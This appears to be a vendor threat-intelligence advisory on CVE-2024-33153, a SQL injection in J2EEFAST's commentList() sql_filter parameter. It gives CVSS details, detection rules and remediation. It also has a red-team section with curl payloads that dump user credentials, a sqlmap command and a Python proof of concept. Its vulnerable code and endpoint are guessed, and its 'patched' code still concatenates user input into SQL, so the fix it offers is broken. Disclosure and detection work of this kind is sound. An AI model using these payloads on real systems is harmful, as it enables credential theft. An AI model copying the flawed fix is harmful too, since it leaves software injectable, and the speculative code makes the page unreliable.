CVE-2024-33153
Executive Summary
CVE-2024-33153 is a critical SQL injection vulnerability discovered in J2EEFAST v2.7.0, a popular Java-based rapid development framework. The flaw resides in the commentList() function, where the sql_filter parameter is not properly sanitized before being passed to SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and lateral movement within the target environment.
The vulnerability has a CVSS v3.1 base score of 9.8 (Critical), with an attack vector over the network, low attack complexity, and no privileges required. The EPSS score is currently 0.0%, indicating low exploitation likelihood in the wild, but this may change as proof-of-concept code circulates.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
J2EEFAST is a Java-based framework distributed as a Maven project. The vulnerable component is part of the core framework, not a third-party library. Organizations using J2EEFAST v2.7.0 should treat this as a direct supply chain risk, as the framework itself is the attack vector. No official patch or advisory has been released by the vendor at this time.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – Exploitable remotely
- Attack Complexity: Low (AC:L) – No special conditions required
- Privileges Required: None (PR:N) – No authentication needed
- User Interaction: None (UI:N) – No user action required
- Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component
- Confidentiality Impact: High (C:H) – Full database read access
- Integrity Impact: High (I:H) – Ability to modify or delete data
- Availability Impact: High (A:H) – Potential for denial of service via SQL injection
Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for remediation.
Deep Dive & Mechanics
The vulnerability exists in the commentList() function, which is part of J2EEFAST's comment management module. This function is typically exposed via REST API endpoints (e.g., /api/comment/list). The sql_filter parameter is intended to allow filtering of comment results, but it is directly concatenated into SQL queries without proper sanitization or parameterization.
The vulnerable code path likely resembles:
public List<Comment> commentList(String sql_filter) {
String sql = "SELECT * FROM comments WHERE " + sql_filter;
return jdbcTemplate.query(sql, new CommentRowMapper());
}
An attacker can inject SQL by providing a malicious sql_filter value, such as:
1=1 UNION SELECT username, password FROM users--
This would return all usernames and passwords from the users table, bypassing authentication and exposing sensitive data.
The injection point is in the WHERE clause, allowing for UNION-based, error-based, or blind SQL injection techniques. The database backend is likely MySQL or PostgreSQL, as J2EEFAST commonly uses these.
Vulnerable vs. Patched Code
Vulnerable Code (J2EEFAST v2.7.0):
// Vulnerable: Direct concatenation of user input into SQL
public List<Comment> commentList(String sql_filter) {
String sql = "SELECT * FROM comments WHERE " + sql_filter;
return jdbcTemplate.query(sql, new CommentRowMapper());
}
Patched Code (Hypothetical fix):
// Patched: Use parameterized queries with whitelist validation
public List<Comment> commentList(String sql_filter) {
// Validate that sql_filter only contains allowed column names and operators
if (!isValidFilter(sql_filter)) {
throw new IllegalArgumentException("Invalid filter parameter");
}
String sql = "SELECT * FROM comments WHERE " + sql_filter;
return jdbcTemplate.query(sql, new CommentRowMapper());
}
private boolean isValidFilter(String filter) {
// Implement strict whitelist validation
return filter.matches("^[a-zA-Z0-9_=<>! ]+$");
}
Note: The patched code above is a hypothetical example. No official patch has been released by J2EEFAST. The recommended fix is to use parameterized queries (PreparedStatement) instead of string concatenation, and to implement strict input validation.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running J2EEFAST v2.7.0 with the comment API exposed
- Network access to the target (e.g.,
http://target.com/api/comment/list)
Exploitation Steps:
Identify the vulnerable endpoint:
curl -v "http://target.com/api/comment/list?sql_filter=1=1"If the response returns all comments, the endpoint is vulnerable.
Extract database version:
curl "http://target.com/api/comment/list?sql_filter=1=1%20UNION%20SELECT%20@@version,null,null--"Dump user credentials:
curl "http://target.com/api/comment/list?sql_filter=1=1%20UNION%20SELECT%20username,password,null%20FROM%20users--"Automated exploitation with sqlmap:
sqlmap -u "http://target.com/api/comment/list?sql_filter=1" --batch --dbs
Proof-of-Concept (Python):
import requests
target = "http://target.com/api/comment/list"
payload = "1=1 UNION SELECT username,password,null FROM users--"
params = {"sql_filter": payload}
response = requests.get(target, params=params)
print(response.text)
Blue Team (Detection & Defense)
Detection Steps:
Monitor for suspicious
sql_filterparameters:- Look for SQL keywords (UNION, SELECT, INSERT, DROP, etc.) in the
sql_filterparameter. - Alert on requests with encoded SQL payloads (e.g.,
%20UNION%20SELECT).
- Look for SQL keywords (UNION, SELECT, INSERT, DROP, etc.) in the
Web Application Firewall (WAF) Rules:
- Block requests containing SQL injection patterns in the
sql_filterparameter. - Example ModSecurity rule:
SecRule ARGS:sql_filter "@rx (union|select|insert|drop|delete|update|--|#|/*)" "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
- Block requests containing SQL injection patterns in the
Database Monitoring:
- Enable query logging and monitor for unexpected SQL queries originating from the application.
- Look for queries with multiple UNION statements or suspicious WHERE clauses.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/api/comment/listwithsql_filterparameter containing SQL keywords - Unusual response sizes (e.g., large data dumps from UNION queries)
- Database error messages in HTTP responses (e.g., "You have an error in your SQL syntax")
File IOCs:
- Modified log files containing SQL injection attempts
- Temporary files created by automated tools (e.g., sqlmap output files)
System IOCs:
- Unexpected database connections from the application server
- High CPU/memory usage on the database server during exploitation
Detection Engineering
YARA Rule
rule CVE_2024_33153_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-33153 in J2EEFAST"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-33153"
strings:
$sql_filter = "sql_filter=" nocase
$union = "union" nocase
$select = "select" nocase
$comment = "--" nocase
$hash = "#" nocase
condition:
$sql_filter and ($union or $select or $comment or $hash)
}
Sigma Rule
title: CVE-2024-33153 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against J2EEFAST commentList() function
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'sql_filter='
cs-uri-query|contains|all:
- 'union'
- 'select'
condition: selection
falsepositives:
- Legitimate use of UNION in SQL queries (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-33153 SQL Injection Attempt";
flow:to_server,established;
content:"sql_filter="; http_uri;
content:"union"; http_uri; nocase;
content:"select"; http_uri; nocase;
sid:1000001;
rev:1;
reference:cve,2024-33153;
classtype:web-application-attack;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not required for business operations.
- Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns in the
sql_filterparameter. - Apply input validation to the
sql_filterparameter, allowing only alphanumeric characters and safe operators.
Long-term Fix:
- Upgrade J2EEFAST to a patched version once available (monitor vendor for updates).
- Rewrite the
commentList()function to use parameterized queries (PreparedStatement) instead of string concatenation. - Implement an allowlist for filterable columns and operators.
- Conduct a security audit of all similar functions in the codebase.
Workaround:
If patching is not immediately possible, restrict access to the vulnerable API endpoint using network segmentation or authentication requirements.
Valters IT – DevSecOps & Cyber Threat Intelligence Report